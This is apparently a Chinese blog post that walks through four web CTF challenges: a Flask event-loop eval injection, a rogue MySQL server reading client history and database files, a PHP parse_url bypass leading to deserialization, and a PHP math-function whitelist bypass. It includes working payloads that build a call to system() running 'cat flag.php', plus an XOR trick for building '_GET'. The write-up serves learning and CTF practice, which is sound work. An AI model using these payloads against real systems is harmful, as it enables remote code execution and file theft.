幾道web題簡單總結

拖了好長時間，總結一下這一段時間做的幾道值得記錄一下的題目，有的沒做出來，但是學習到了新的東西

1.homebrew event loop

? ddctf的一道題目，學到了python eval函數的用法，首先分析題目：

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'from flask import Flask, session, request, Response
import urllibapp = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af31f99147e857'def FLAG():return 'FLAG_is_here_but_i_wont_show_you'  # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5: session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix) + len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException: passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')): continuefor c in event:if c not in valid_event_chars: breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')  # indexargs = get_mid_str(event, action + ';').split('#') #True#Truetry:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None: resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None: resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '': resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix + '/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace('<','&lt;').replace('>', '&gt;').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume: raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worriestrigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

這道題目首先通讀源碼是必須的，另一個必須要了解到的出題點在eval()函數這個地方，eval中可以傳入#來注釋掉后面的部分

從上圖可以看出來，此時eval會忽略掉#后面的所有字符串，以及要做出這道題的另一個點：

打破程序進行的流程，先加鉆石數量再檢驗錢數，并且可以給事件傳入一個列表，那么先加鉆石，在檢驗錢之前去getflag即可，而且這里會把flag帶到log中去，總之就是在一個正常的處理序列中去插入一個新的事件，因為eval這里可控，所以剛開始就應該反映到出題點

在這里！

?2.mysql弱口令

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharmimport json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPEclass RequestHandler(BaseHTTPRequestHandler):def do_GET(self):request_path = self.pathprint("\n----- Request Start ----->\n")print("request_path :", request_path)print("self.headers :", self.headers)print("<----- Request End -----\n")self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def do_POST(self):request_path = self.path# print("\n----- Request Start ----->\n")print("request_path : %s", request_path)request_headers = self.headerscontent_length = request_headers.getheaders('content-length')length = int(content_length[0]) if content_length else 0# print("length :", length)print("request_headers : %s" % request_headers)print("content : %s" % self.rfile.read(length))# print("<----- Request End -----\n")
self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def _func(self):netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)netstat.wait()ps_list = netstat.stdout.readlines()result = []for item in ps_list[2:]:tmp = item.split()Local_Address = tmp[3]Process_name = tmp[6]tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}result.append(tmp_dic)return resultdo_PUT = do_POSTdo_DELETE = do_GETdef main():port = 8123print('Listening on localhost:%s' % port)server = HTTPServer(('0.0.0.0', port), RequestHandler)server.serve_forever()if __name__ == "__main__":parser = OptionParser()parser.usage = ("Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n""Run:\n\n")(options, args) = parser.parse_args()main()

?這道題主要是來攻擊mysql連接的客戶端，這個題目給了agent.py 是用來檢測是不是服務器上存在mysqld進程，而判斷是通過do_get和do_post兩個函數確定的，這兩個函數都會調用_func函數，返回進程名，然后do_get 和do_post再把_func的返回值輸出，

所以只需要讓最后輸出的存在mysqld就行了，然后就可以在服務器上讀取客戶端的文件。

這里讀取客戶端的.mysql_histoty文件，這個文件存儲了用戶登陸mysql服務器所執行的命令，也可以讀取.bash_history

在這里又可以讀到web的源碼地址，所以可以繼續讀取它：

在這里能夠發現flag所在的庫和表，所以就可以讀取表中的內容，又因為linux下，mysql安裝后，數據庫的數據默認存放在/var/lib/mysql目錄下，所以可以直接訪問其中的庫表，所以可以直接讀取

/var/lib/mysql/security/flag.ibd

?3.just soso

這道題比較常規

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload);
}else{ echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

這里主要記錄一下繞過parse_url，這里會檢測flag字符串，但是要是讓parse_url

這樣就能使parse_url返回false，這樣繞過對flag的過濾，然后后面就是常規的反序列化漏洞，這里要記住最后的序列化的數據因為有不可見字符所以需要urlencode一下

?4.math

<?php 
error_reporting(0); 
//聽說你很喜歡數學，不知道你是否愛它勝過愛flag 
if(!isset($_GET['c'])){ show_source(__FILE__); 
}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字符"); } } //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數"); } } //幫你算出答案 eval('echo '.$content.';'); 
}

?方法一：

這道題主要還是構造沒有字母的shell，這里面又提供了進制轉換的函數base_convert()，說明可以用0-9a-z 36個字符，那么就可以構造shell，這里主要通過分析一個payload：

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php

這里通過構造動態函數，首先base_convert()構造hex2bin，把16進制轉換為字符串，再通過“_GET” -> 16進制表示，再到10進制表示，然后反過來dechex()->hex2bin()，然后結合動態函數
比如$a="_GET";$$a{c}(($$a){d}); 這樣將實際的payload放在GET參數中，從而來減小長度。
另外一個點是php的數組不僅可以通過[]來進行索引，還可以通過{}來進行索引。

方法2：
另一種構造出_GET的方法是通過異或字符串：
比如要得到_G，則可以通過：

具體怎么得出：可以通過“_G”和兩個字符異或：

for($j=0;$j<10;$j = $j+1){for($i=0;$i<10;$i = $i+1){echo $i.$j." ";echo "_G"^($j).($i);echo "\n";
}}

可以得到兩位字符串，這里也可以選3位或者4位跑，但是因為得到的字符串需要在白名單里面找，所以太長了找不到，所以選兩位最好，一位會增加payload長度，因此is是在白名單里存在的，所以就可以使用，同樣的方法去找“ET”，最后
還是去構造動態函數就可以了。

$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})

?

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